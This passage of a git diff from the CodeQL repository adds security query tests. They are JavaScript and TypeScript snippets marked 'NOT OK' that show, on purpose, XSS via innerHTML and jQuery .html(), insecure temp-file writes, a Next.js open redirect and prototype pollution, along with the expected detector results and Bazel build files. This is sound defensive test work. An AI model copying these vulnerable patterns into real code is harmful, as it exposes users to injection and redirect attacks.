+    $("#id").html(e.dataTransfer.getData('text/html')); // NOT OK
+});
+
+$("#foo").bind('drop', (e) => {
+    $("#id").html(e.originalEvent.dataTransfer.getData('text/html')); // NOT OK
+});
+
+(function () {
+    let div = document.createElement("div");
+    div.ondrop = function (e: DragEvent) {
+        const { dataTransfer } = e;
+        if (!dataTransfer) return;
+
+        const text = dataTransfer.getData('text/plain');
+        const html = dataTransfer.getData('text/html');
+        if (!text && !html) return;
+
+        e.preventDefault();
+
+        const div = document.createElement('div');
+        if (html) {
+            div.innerHTML = html; // NOT OK
+        } else {
+            div.textContent = text;
+        }
+        document.body.append(div);
+    }
+})();
+
+async function getDropData(e: DragEvent): Promise<Array<File | string>> {
+    // Using a set to filter out duplicates. For some reason, dropping URLs duplicates them 3 times (for me)
+    const dropItems = new Set<File | string>();
+  
+    // First get all files in the drop event
+    if (e.dataTransfer.files.length > 0) {
+      // tslint:disable-next-line: prefer-for-of
+      for (let i = 0; i < e.dataTransfer.files.length; i++) {
+        const file = e.dataTransfer.files[i];
+      }
+    }
+  
+    if (e.dataTransfer.types.includes('text/html')) {
+      const droppedHtml = e.dataTransfer.getData('text/html');
+      const container = document.createElement('html');
+      container.innerHTML = droppedHtml;
+      const imgs = container.getElementsByTagName('img');
+      if (imgs.length === 1) {
+        const src = imgs[0].src;
+        dropItems.add(src);
+      }
+    } else if (e.dataTransfer.types.includes('text/plain')) {
+      const plainText = e.dataTransfer.getData('text/plain');
+      // Check if text is an URL
+      if (/^https?:\/\//i.test(plainText)) {
+        dropItems.add(plainText);
+      }
+    }
+  
+    const imageItems = Array.from(dropItems);
+    return imageItems;
+  }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected
index 104a3055e40..57c6899d078 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected
@@ -139,6 +139,24 @@ nodes
 | xss-through-dom.js:122:53:122:67 | ev.target.files |
 | xss-through-dom.js:122:53:122:67 | ev.target.files |
 | xss-through-dom.js:122:53:122:70 | ev.target.files[0] |
+| xss-through-dom.js:130:6:130:68 | linkText |
+| xss-through-dom.js:130:17:130:37 | wSelect ... tring() |
+| xss-through-dom.js:130:17:130:37 | wSelect ... tring() |
+| xss-through-dom.js:130:17:130:62 | wSelect ... tring() |
+| xss-through-dom.js:130:17:130:68 | wSelect ... ) \|\| '' |
+| xss-through-dom.js:130:42:130:62 | dSelect ... tring() |
+| xss-through-dom.js:130:42:130:62 | dSelect ... tring() |
+| xss-through-dom.js:131:19:131:26 | linkText |
+| xss-through-dom.js:131:19:131:26 | linkText |
+| xss-through-dom.js:132:16:132:23 | linkText |
+| xss-through-dom.js:132:16:132:23 | linkText |
+| xss-through-dom.js:139:11:139:52 | src |
+| xss-through-dom.js:139:17:139:52 | documen ... k").src |
+| xss-through-dom.js:139:17:139:52 | documen ... k").src |
+| xss-through-dom.js:140:19:140:21 | src |
+| xss-through-dom.js:140:19:140:21 | src |
+| xss-through-dom.js:141:25:141:27 | src |
+| xss-through-dom.js:141:25:141:27 | src |
 edges
 | forms.js:8:23:8:28 | values | forms.js:9:31:9:36 | values |
 | forms.js:8:23:8:28 | values | forms.js:9:31:9:36 | values |
@@ -225,6 +243,22 @@ edges
 | xss-through-dom.js:122:53:122:67 | ev.target.files | xss-through-dom.js:122:53:122:70 | ev.target.files[0] |
 | xss-through-dom.js:122:53:122:70 | ev.target.files[0] | xss-through-dom.js:122:33:122:71 | URL.cre ... les[0]) |
 | xss-through-dom.js:122:53:122:70 | ev.target.files[0] | xss-through-dom.js:122:33:122:71 | URL.cre ... les[0]) |
+| xss-through-dom.js:130:6:130:68 | linkText | xss-through-dom.js:131:19:131:26 | linkText |
+| xss-through-dom.js:130:6:130:68 | linkText | xss-through-dom.js:131:19:131:26 | linkText |
+| xss-through-dom.js:130:6:130:68 | linkText | xss-through-dom.js:132:16:132:23 | linkText |
+| xss-through-dom.js:130:6:130:68 | linkText | xss-through-dom.js:132:16:132:23 | linkText |
+| xss-through-dom.js:130:17:130:37 | wSelect ... tring() | xss-through-dom.js:130:17:130:62 | wSelect ... tring() |
+| xss-through-dom.js:130:17:130:37 | wSelect ... tring() | xss-through-dom.js:130:17:130:62 | wSelect ... tring() |
+| xss-through-dom.js:130:17:130:62 | wSelect ... tring() | xss-through-dom.js:130:17:130:68 | wSelect ... ) \|\| '' |
+| xss-through-dom.js:130:17:130:68 | wSelect ... ) \|\| '' | xss-through-dom.js:130:6:130:68 | linkText |
+| xss-through-dom.js:130:42:130:62 | dSelect ... tring() | xss-through-dom.js:130:17:130:62 | wSelect ... tring() |
+| xss-through-dom.js:130:42:130:62 | dSelect ... tring() | xss-through-dom.js:130:17:130:62 | wSelect ... tring() |
+| xss-through-dom.js:139:11:139:52 | src | xss-through-dom.js:140:19:140:21 | src |
+| xss-through-dom.js:139:11:139:52 | src | xss-through-dom.js:140:19:140:21 | src |
+| xss-through-dom.js:139:11:139:52 | src | xss-through-dom.js:141:25:141:27 | src |
+| xss-through-dom.js:139:11:139:52 | src | xss-through-dom.js:141:25:141:27 | src |
+| xss-through-dom.js:139:17:139:52 | documen ... k").src | xss-through-dom.js:139:11:139:52 | src |
+| xss-through-dom.js:139:17:139:52 | documen ... k").src | xss-through-dom.js:139:11:139:52 | src |
 #select
 | forms.js:9:31:9:40 | values.foo | forms.js:8:23:8:28 | values | forms.js:9:31:9:40 | values.foo | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:8:23:8:28 | values | DOM text |
 | forms.js:12:31:12:40 | values.bar | forms.js:11:24:11:29 | values | forms.js:12:31:12:40 | values.bar | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:11:24:11:29 | values | DOM text |
@@ -262,3 +296,9 @@ edges
 | xss-through-dom.js:115:16:115:18 | src | xss-through-dom.js:114:17:114:52 | documen ... k").src | xss-through-dom.js:115:16:115:18 | src | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:114:17:114:52 | documen ... k").src | DOM text |
 | xss-through-dom.js:120:23:120:45 | ev.targ ... 0].name | xss-through-dom.js:120:23:120:37 | ev.target.files | xss-through-dom.js:120:23:120:45 | ev.targ ... 0].name | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:120:23:120:37 | ev.target.files | DOM text |
 | xss-through-dom.js:122:33:122:71 | URL.cre ... les[0]) | xss-through-dom.js:122:53:122:67 | ev.target.files | xss-through-dom.js:122:33:122:71 | URL.cre ... les[0]) | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:122:53:122:67 | ev.target.files | DOM text |
+| xss-through-dom.js:131:19:131:26 | linkText | xss-through-dom.js:130:17:130:37 | wSelect ... tring() | xss-through-dom.js:131:19:131:26 | linkText | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:130:17:130:37 | wSelect ... tring() | DOM text |
+| xss-through-dom.js:131:19:131:26 | linkText | xss-through-dom.js:130:42:130:62 | dSelect ... tring() | xss-through-dom.js:131:19:131:26 | linkText | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:130:42:130:62 | dSelect ... tring() | DOM text |
+| xss-through-dom.js:132:16:132:23 | linkText | xss-through-dom.js:130:17:130:37 | wSelect ... tring() | xss-through-dom.js:132:16:132:23 | linkText | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:130:17:130:37 | wSelect ... tring() | DOM text |
+| xss-through-dom.js:132:16:132:23 | linkText | xss-through-dom.js:130:42:130:62 | dSelect ... tring() | xss-through-dom.js:132:16:132:23 | linkText | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:130:42:130:62 | dSelect ... tring() | DOM text |
+| xss-through-dom.js:140:19:140:21 | src | xss-through-dom.js:139:17:139:52 | documen ... k").src | xss-through-dom.js:140:19:140:21 | src | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:139:17:139:52 | documen ... k").src | DOM text |
+| xss-through-dom.js:141:25:141:27 | src | xss-through-dom.js:139:17:139:52 | documen ... k").src | xss-through-dom.js:141:25:141:27 | src | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:139:17:139:52 | documen ... k").src | DOM text |
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/xss-through-dom.js b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/xss-through-dom.js
index 6fcf9e2a13f..7728722bd16 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/xss-through-dom.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/xss-through-dom.js
@@ -122,3 +122,21 @@ class Sub extends Super {
         $("img#id").attr("src", URL.createObjectURL(ev.target.files[0])); // NOT OK
     }
 })();
+
+(function () {
+	let elem = document.createElement('a');
+	const wSelection = getSelection();
+	const dSelection = document.getSelection();
+	let linkText = wSelection.toString() || dSelection.toString() || '';
+	elem.innerHTML = linkText; // NOT OK
+	$("#id").html(linkText); // NOT OK
+	elem.innerText = linkText; // OK
+})();
+
+const cashDom = require("cash-dom");
+
+(function () {
+    const src = document.getElementById("#link").src;
+	cash("#id").html(src); // NOT OK.
+    cashDom("#id").html(src); // NOT OK
+})();
\ No newline at end of file
diff --git a/javascript/ql/test/experimental/Security/CWE-094/.github/workflows/comment_issue.yml b/javascript/ql/test/query-tests/Security/CWE-094/ExpressionInjection/.github/workflows/comment_issue.yml
similarity index 100%
rename from javascript/ql/test/experimental/Security/CWE-094/.github/workflows/comment_issue.yml
rename to javascript/ql/test/query-tests/Security/CWE-094/ExpressionInjection/.github/workflows/comment_issue.yml
diff --git a/javascript/ql/test/experimental/Security/CWE-094/ExpressionInjection.expected b/javascript/ql/test/query-tests/Security/CWE-094/ExpressionInjection/ExpressionInjection.expected
similarity index 100%
rename from javascript/ql/test/experimental/Security/CWE-094/ExpressionInjection.expected
rename to javascript/ql/test/query-tests/Security/CWE-094/ExpressionInjection/ExpressionInjection.expected
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/ExpressionInjection/ExpressionInjection.qlref b/javascript/ql/test/query-tests/Security/CWE-094/ExpressionInjection/ExpressionInjection.qlref
new file mode 100644
index 00000000000..edaea6fbb21
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-094/ExpressionInjection/ExpressionInjection.qlref
@@ -0,0 +1 @@
+Security/CWE-094/ExpressionInjection.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/ExpressionInjection/empty.js b/javascript/ql/test/query-tests/Security/CWE-094/ExpressionInjection/empty.js
new file mode 100644
index 00000000000..a243684db7f
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-094/ExpressionInjection/empty.js
@@ -0,0 +1 @@
+console.log('test')
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-377/InsecureTemporaryFile.expected b/javascript/ql/test/query-tests/Security/CWE-377/InsecureTemporaryFile.expected
new file mode 100644
index 00000000000..8952998dd9c
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-377/InsecureTemporaryFile.expected
@@ -0,0 +1,53 @@
+nodes
+| insecure-temporary-file.js:7:9:11:5 | tmpLocation |
+| insecure-temporary-file.js:7:23:11:5 | path.jo ... )\\n    ) |
+| insecure-temporary-file.js:8:9:8:45 | os.tmpd ... mpDir() |
+| insecure-temporary-file.js:8:21:8:31 | os.tmpdir() |
+| insecure-temporary-file.js:8:21:8:31 | os.tmpdir() |
+| insecure-temporary-file.js:13:22:13:32 | tmpLocation |
+| insecure-temporary-file.js:13:22:13:32 | tmpLocation |
+| insecure-temporary-file.js:15:9:15:34 | tmpPath |
+| insecure-temporary-file.js:15:19:15:34 | "/tmp/something" |
+| insecure-temporary-file.js:15:19:15:34 | "/tmp/something" |
+| insecure-temporary-file.js:17:22:17:49 | path.jo ... /foo/") |
+| insecure-temporary-file.js:17:22:17:49 | path.jo ... /foo/") |
+| insecure-temporary-file.js:17:32:17:38 | tmpPath |
+| insecure-temporary-file.js:23:22:23:49 | path.jo ... /foo/") |
+| insecure-temporary-file.js:23:22:23:49 | path.jo ... /foo/") |
+| insecure-temporary-file.js:23:32:23:38 | tmpPath |
+| insecure-temporary-file.js:25:11:25:92 | tmpPath2 |
+| insecure-temporary-file.js:25:22:25:92 | path.jo ... )}.md`) |
+| insecure-temporary-file.js:25:32:25:42 | os.tmpdir() |
+| insecure-temporary-file.js:25:32:25:42 | os.tmpdir() |
+| insecure-temporary-file.js:26:22:26:29 | tmpPath2 |
+| insecure-temporary-file.js:26:22:26:29 | tmpPath2 |
+| insecure-temporary-file.js:28:17:28:24 | tmpPath2 |
+| insecure-temporary-file.js:28:17:28:24 | tmpPath2 |
+edges
+| insecure-temporary-file.js:7:9:11:5 | tmpLocation | insecure-temporary-file.js:13:22:13:32 | tmpLocation |
+| insecure-temporary-file.js:7:9:11:5 | tmpLocation | insecure-temporary-file.js:13:22:13:32 | tmpLocation |
+| insecure-temporary-file.js:7:23:11:5 | path.jo ... )\\n    ) | insecure-temporary-file.js:7:9:11:5 | tmpLocation |
+| insecure-temporary-file.js:8:9:8:45 | os.tmpd ... mpDir() | insecure-temporary-file.js:7:23:11:5 | path.jo ... )\\n    ) |
+| insecure-temporary-file.js:8:21:8:31 | os.tmpdir() | insecure-temporary-file.js:8:9:8:45 | os.tmpd ... mpDir() |
+| insecure-temporary-file.js:8:21:8:31 | os.tmpdir() | insecure-temporary-file.js:8:9:8:45 | os.tmpd ... mpDir() |
+| insecure-temporary-file.js:15:9:15:34 | tmpPath | insecure-temporary-file.js:17:32:17:38 | tmpPath |
+| insecure-temporary-file.js:15:9:15:34 | tmpPath | insecure-temporary-file.js:23:32:23:38 | tmpPath |
+| insecure-temporary-file.js:15:19:15:34 | "/tmp/something" | insecure-temporary-file.js:15:9:15:34 | tmpPath |
+| insecure-temporary-file.js:15:19:15:34 | "/tmp/something" | insecure-temporary-file.js:15:9:15:34 | tmpPath |
+| insecure-temporary-file.js:17:32:17:38 | tmpPath | insecure-temporary-file.js:17:22:17:49 | path.jo ... /foo/") |
+| insecure-temporary-file.js:17:32:17:38 | tmpPath | insecure-temporary-file.js:17:22:17:49 | path.jo ... /foo/") |
+| insecure-temporary-file.js:23:32:23:38 | tmpPath | insecure-temporary-file.js:23:22:23:49 | path.jo ... /foo/") |
+| insecure-temporary-file.js:23:32:23:38 | tmpPath | insecure-temporary-file.js:23:22:23:49 | path.jo ... /foo/") |
+| insecure-temporary-file.js:25:11:25:92 | tmpPath2 | insecure-temporary-file.js:26:22:26:29 | tmpPath2 |
+| insecure-temporary-file.js:25:11:25:92 | tmpPath2 | insecure-temporary-file.js:26:22:26:29 | tmpPath2 |
+| insecure-temporary-file.js:25:11:25:92 | tmpPath2 | insecure-temporary-file.js:28:17:28:24 | tmpPath2 |
+| insecure-temporary-file.js:25:11:25:92 | tmpPath2 | insecure-temporary-file.js:28:17:28:24 | tmpPath2 |
+| insecure-temporary-file.js:25:22:25:92 | path.jo ... )}.md`) | insecure-temporary-file.js:25:11:25:92 | tmpPath2 |
+| insecure-temporary-file.js:25:32:25:42 | os.tmpdir() | insecure-temporary-file.js:25:22:25:92 | path.jo ... )}.md`) |
+| insecure-temporary-file.js:25:32:25:42 | os.tmpdir() | insecure-temporary-file.js:25:22:25:92 | path.jo ... )}.md`) |
+#select
+| insecure-temporary-file.js:13:22:13:32 | tmpLocation | insecure-temporary-file.js:8:21:8:31 | os.tmpdir() | insecure-temporary-file.js:13:22:13:32 | tmpLocation | Insecure creation of file in $@. | insecure-temporary-file.js:8:21:8:31 | os.tmpdir() | the os temp dir |
+| insecure-temporary-file.js:17:22:17:49 | path.jo ... /foo/") | insecure-temporary-file.js:15:19:15:34 | "/tmp/something" | insecure-temporary-file.js:17:22:17:49 | path.jo ... /foo/") | Insecure creation of file in $@. | insecure-temporary-file.js:15:19:15:34 | "/tmp/something" | the os temp dir |
+| insecure-temporary-file.js:23:22:23:49 | path.jo ... /foo/") | insecure-temporary-file.js:15:19:15:34 | "/tmp/something" | insecure-temporary-file.js:23:22:23:49 | path.jo ... /foo/") | Insecure creation of file in $@. | insecure-temporary-file.js:15:19:15:34 | "/tmp/something" | the os temp dir |
+| insecure-temporary-file.js:26:22:26:29 | tmpPath2 | insecure-temporary-file.js:25:32:25:42 | os.tmpdir() | insecure-temporary-file.js:26:22:26:29 | tmpPath2 | Insecure creation of file in $@. | insecure-temporary-file.js:25:32:25:42 | os.tmpdir() | the os temp dir |
+| insecure-temporary-file.js:28:17:28:24 | tmpPath2 | insecure-temporary-file.js:25:32:25:42 | os.tmpdir() | insecure-temporary-file.js:28:17:28:24 | tmpPath2 | Insecure creation of file in $@. | insecure-temporary-file.js:25:32:25:42 | os.tmpdir() | the os temp dir |
diff --git a/javascript/ql/test/query-tests/Security/CWE-377/InsecureTemporaryFile.qlref b/javascript/ql/test/query-tests/Security/CWE-377/InsecureTemporaryFile.qlref
new file mode 100644
index 00000000000..68a27dfb269
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-377/InsecureTemporaryFile.qlref
@@ -0,0 +1 @@
+Security/CWE-377/InsecureTemporaryFile.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-377/insecure-temporary-file.js b/javascript/ql/test/query-tests/Security/CWE-377/insecure-temporary-file.js
new file mode 100644
index 00000000000..641b89a3ebe
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-377/insecure-temporary-file.js
@@ -0,0 +1,30 @@
+const os = require('os');
+const uuid = require('node-uuid');
+const fs = require('fs');
+const path = require('path');
+
+(function main() {
+    var tmpLocation = path.join(
+        os.tmpdir ? os.tmpdir() : os.tmpDir(),
+        'something',
+        uuid.v4().slice(0, 8)
+    );
+
+    fs.writeFileSync(tmpLocation, content); // NOT OK
+
+    var tmpPath = "/tmp/something";
+    fs.writeFileSync(path.join("./foo/", tmpPath), content); // OK
+    fs.writeFileSync(path.join(tmpPath, "./foo/"), content); // NOT OK
+
+    fs.writeFileSync(path.join(tmpPath, "./foo/"), content, {mode: 0o600}); // OK
+
+    fs.writeFileSync(path.join(tmpPath, "./foo/"), content, {mode: mode}); // OK - assumed unknown mode is secure
+
+    fs.writeFileSync(path.join(tmpPath, "./foo/"), content, {mode: 0o666}); // NOT OK - explicitly insecure
+
+    const tmpPath2 = path.join(os.tmpdir(), `tmp_${Math.floor(Math.random() * 1000000)}.md`);
+    fs.writeFileSync(tmpPath2, content); // NOT OK
+
+    fs.openSync(tmpPath2, 'w'); // NOT OK
+    fs.openSync(tmpPath2, 'w', 0o600); // OK
+})
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/ServerSideUrlRedirect.expected b/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/ServerSideUrlRedirect.expected
index 5a8ed33b530..a4654b29c27 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/ServerSideUrlRedirect.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/ServerSideUrlRedirect.expected
@@ -62,6 +62,10 @@ nodes
 | koa.js:14:16:14:18 | url |
 | koa.js:20:16:20:18 | url |
 | koa.js:20:16:20:18 | url |
+| next.ts:11:31:11:38 | req.body |
+| next.ts:11:31:11:38 | req.body |
+| next.ts:11:31:11:50 | req.body.callbackUrl |
+| next.ts:11:31:11:50 | req.body.callbackUrl |
 | node.js:5:7:5:52 | target |
 | node.js:5:16:5:39 | url.par ... , true) |
 | node.js:5:16:5:45 | url.par ... ).query |
@@ -147,6 +151,10 @@ edges
 | koa.js:6:12:6:27 | ctx.query.target | koa.js:6:6:6:27 | url |
 | koa.js:8:18:8:20 | url | koa.js:8:15:8:26 | `${url}${x}` |
 | koa.js:8:18:8:20 | url | koa.js:8:15:8:26 | `${url}${x}` |
+| next.ts:11:31:11:38 | req.body | next.ts:11:31:11:50 | req.body.callbackUrl |
+| next.ts:11:31:11:38 | req.body | next.ts:11:31:11:50 | req.body.callbackUrl |
+| next.ts:11:31:11:38 | req.body | next.ts:11:31:11:50 | req.body.callbackUrl |
+| next.ts:11:31:11:38 | req.body | next.ts:11:31:11:50 | req.body.callbackUrl |
 | node.js:5:7:5:52 | target | node.js:6:34:6:39 | target |
 | node.js:5:7:5:52 | target | node.js:6:34:6:39 | target |
 | node.js:5:16:5:39 | url.par ... , true) | node.js:5:16:5:45 | url.par ... ).query |
@@ -195,6 +203,7 @@ edges
 | koa.js:8:15:8:26 | `${url}${x}` | koa.js:6:12:6:27 | ctx.query.target | koa.js:8:15:8:26 | `${url}${x}` | Untrusted URL redirection due to $@. | koa.js:6:12:6:27 | ctx.query.target | user-provided value |
 | koa.js:14:16:14:18 | url | koa.js:6:12:6:27 | ctx.query.target | koa.js:14:16:14:18 | url | Untrusted URL redirection due to $@. | koa.js:6:12:6:27 | ctx.query.target | user-provided value |
 | koa.js:20:16:20:18 | url | koa.js:6:12:6:27 | ctx.query.target | koa.js:20:16:20:18 | url | Untrusted URL redirection due to $@. | koa.js:6:12:6:27 | ctx.query.target | user-provided value |
+| next.ts:11:31:11:50 | req.body.callbackUrl | next.ts:11:31:11:38 | req.body | next.ts:11:31:11:50 | req.body.callbackUrl | Untrusted URL redirection due to $@. | next.ts:11:31:11:38 | req.body | user-provided value |
 | node.js:6:34:6:39 | target | node.js:5:26:5:32 | req.url | node.js:6:34:6:39 | target | Untrusted URL redirection due to $@. | node.js:5:26:5:32 | req.url | user-provided value |
 | node.js:14:34:14:45 | '/' + target | node.js:10:26:10:32 | req.url | node.js:14:34:14:45 | '/' + target | Untrusted URL redirection due to $@. | node.js:10:26:10:32 | req.url | user-provided value |
 | node.js:31:34:31:55 | target  ... =" + me | node.js:28:26:28:32 | req.url | node.js:31:34:31:55 | target  ... =" + me | Untrusted URL redirection due to $@. | node.js:28:26:28:32 | req.url | user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/next.ts b/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/next.ts
new file mode 100644
index 00000000000..14da7c4f5ba
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/next.ts
@@ -0,0 +1,12 @@
+
+import type {
+  NextApiRequest,
+  NextApiResponse,
+} from "next"
+
+export async function handler(
+  req: NextApiRequest,
+  res: NextApiResponse
+) {
+    res.setHeader("Location", req.body.callbackUrl); // NOT OK
+}
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/tsconfig.json b/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/tsconfig.json
new file mode 100644
index 00000000000..82194fc7ab0
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/tsconfig.json
@@ -0,0 +1,3 @@
+{
+    "include": ["."]
+}
diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/PrototypePollutingAssignment.expected b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/PrototypePollutingAssignment.expected
index ec2bfb99862..7b4b6e81751 100644
--- a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/PrototypePollutingAssignment.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/PrototypePollutingAssignment.expected
@@ -94,6 +94,12 @@ nodes
 | lib.js:108:3:108:10 | obj[one] |
 | lib.js:108:3:108:10 | obj[one] |
 | lib.js:108:7:108:9 | one |
+| sublib/sub.js:1:37:1:40 | path |
+| sublib/sub.js:1:37:1:40 | path |
+| sublib/sub.js:2:3:2:14 | obj[path[0]] |
+| sublib/sub.js:2:3:2:14 | obj[path[0]] |
+| sublib/sub.js:2:7:2:10 | path |
+| sublib/sub.js:2:7:2:13 | path[0] |
 | tst.js:5:9:5:38 | taint |
 | tst.js:5:17:5:38 | String( ... y.data) |
 | tst.js:5:24:5:37 | req.query.data |
@@ -230,6 +236,11 @@ edges
 | lib.js:104:13:104:24 | arguments[1] | lib.js:104:7:104:24 | one |
 | lib.js:108:7:108:9 | one | lib.js:108:3:108:10 | obj[one] |
 | lib.js:108:7:108:9 | one | lib.js:108:3:108:10 | obj[one] |
+| sublib/sub.js:1:37:1:40 | path | sublib/sub.js:2:7:2:10 | path |
+| sublib/sub.js:1:37:1:40 | path | sublib/sub.js:2:7:2:10 | path |
+| sublib/sub.js:2:7:2:10 | path | sublib/sub.js:2:7:2:13 | path[0] |
+| sublib/sub.js:2:7:2:13 | path[0] | sublib/sub.js:2:3:2:14 | obj[path[0]] |
+| sublib/sub.js:2:7:2:13 | path[0] | sublib/sub.js:2:3:2:14 | obj[path[0]] |
 | tst.js:5:9:5:38 | taint | tst.js:8:12:8:16 | taint |
 | tst.js:5:9:5:38 | taint | tst.js:9:12:9:16 | taint |
 | tst.js:5:9:5:38 | taint | tst.js:12:25:12:29 | taint |
@@ -284,6 +295,7 @@ edges
 | lib.js:70:13:70:24 | obj[path[0]] | lib.js:59:18:59:18 | s | lib.js:70:13:70:24 | obj[path[0]] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | lib.js:59:18:59:18 | s | library input |
 | lib.js:87:10:87:14 | proto | lib.js:83:14:83:25 | arguments[1] | lib.js:87:10:87:14 | proto | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | lib.js:83:14:83:25 | arguments[1] | library input |
 | lib.js:108:3:108:10 | obj[one] | lib.js:104:13:104:24 | arguments[1] | lib.js:108:3:108:10 | obj[one] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | lib.js:104:13:104:24 | arguments[1] | library input |
+| sublib/sub.js:2:3:2:14 | obj[path[0]] | sublib/sub.js:1:37:1:40 | path | sublib/sub.js:2:3:2:14 | obj[path[0]] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | sublib/sub.js:1:37:1:40 | path | library input |
 | tst.js:8:5:8:17 | object[taint] | tst.js:5:24:5:37 | req.query.data | tst.js:8:5:8:17 | object[taint] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | user controlled input |
 | tst.js:9:5:9:17 | object[taint] | tst.js:5:24:5:37 | req.query.data | tst.js:9:5:9:17 | object[taint] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | user controlled input |
 | tst.js:14:5:14:32 | unsafeG ...  taint) | tst.js:5:24:5:37 | req.query.data | tst.js:14:5:14:32 | unsafeG ...  taint) | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | user controlled input |
diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/sublib/package.json b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/sublib/package.json
new file mode 100644
index 00000000000..3f633a4ff71
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/sublib/package.json
@@ -0,0 +1,4 @@
+{
+    "name": "sublib",
+    "main": "./sub"
+}
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/sublib/sub.js b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/sublib/sub.js
new file mode 100644
index 00000000000..d74de12493a
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/sublib/sub.js
@@ -0,0 +1,3 @@
+module.exports.set = function (obj, path, value) {
+  obj[path[0]][path[1]] = value; // NOT OK
+}
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/sublib/sub/empty.js b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/sublib/sub/empty.js
new file mode 100644
index 00000000000..cc4c41e100b
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/sublib/sub/empty.js
@@ -0,0 +1 @@
+console.log("foo");
\ No newline at end of file
diff --git a/misc/bazel/pkg_runfiles.bzl b/misc/bazel/pkg_runfiles.bzl
new file mode 100644
index 00000000000..a8f215e8a55
--- /dev/null
+++ b/misc/bazel/pkg_runfiles.bzl
@@ -0,0 +1,33 @@
+load("@rules_pkg//:mappings.bzl", "pkg_attributes", "pkg_files")
+
+def _runfiles_group_impl(ctx):
+    files = []
+    for src in ctx.attr.srcs:
+        rf = src[DefaultInfo].default_runfiles
+        if rf != None:
+            files.append(rf.files)
+    return [
+        DefaultInfo(
+            files = depset(transitive = files),
+        ),
+    ]
+
+_runfiles_group = rule(
+    implementation = _runfiles_group_impl,
+    attrs = {
+        "srcs": attr.label_list(),
+    },
+)
+
+def pkg_runfiles(*, name, srcs, **kwargs):
+    internal_name = "_%s_runfiles" % name
+    _runfiles_group(
+        name = internal_name,
+        srcs = srcs,
+    )
+    kwargs.setdefault("attributes", pkg_attributes(mode = "0755"))
+    pkg_files(
+        name = name,
+        srcs = [internal_name],
+        **kwargs
+    )
diff --git a/misc/bazel/workspace.bzl b/misc/bazel/workspace.bzl
index c7ac65d3d2a..7b89bff5693 100644
--- a/misc/bazel/workspace.bzl
+++ b/misc/bazel/workspace.bzl
@@ -22,7 +22,7 @@ def codeql_workspace(repository_name = "codeql"):
                 _swift_prebuilt_version,
                 repo_arch,
             ),
-            build_file = "@%s//swift/extractor:BUILD.swift-prebuilt.bazel" % repository_name,
